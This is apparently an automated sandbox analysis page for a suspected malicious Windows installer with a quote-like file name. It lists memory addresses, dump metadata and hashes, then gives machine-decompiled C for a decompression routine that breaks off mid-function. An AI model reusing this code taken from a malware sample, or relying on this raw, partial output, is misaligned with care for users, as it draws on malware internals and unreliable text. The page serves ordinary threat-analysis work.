0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x0040754e
0x00000000
0x0040754e
0x00406ca8
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd2
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x0040755d
0x00000000
0x0040755d
0x00406d18
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075cf
0x00000000
0x004075cf
0x00407426
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x00000000
0x00406d5f
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00406ffe
0x00407002
0x00407020
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x0040711c
0x00407120
0x00407127
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00407122
0x00000000
0x00000000
0x00407143
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407395
0x00407399
0x004073bb
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x0040739b
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00407490
0x00407493
0x0040749a
0x00000000
0x0040749d
0x00407458
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407543
0x00407546
0x00407447
0x00407447
0x00407447
0x00000000
0x0040744d
0x00000000
0x0040717d
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x0040749d
0x00000000
0x00000000
0x00000000
0x004071c2
0x004071c2
0x004071c5
0x004071fb
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x004075bd
0x00000000
0x004075bd
0x00407339
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725b
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004074c7
0x00407490

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407395 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407395() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
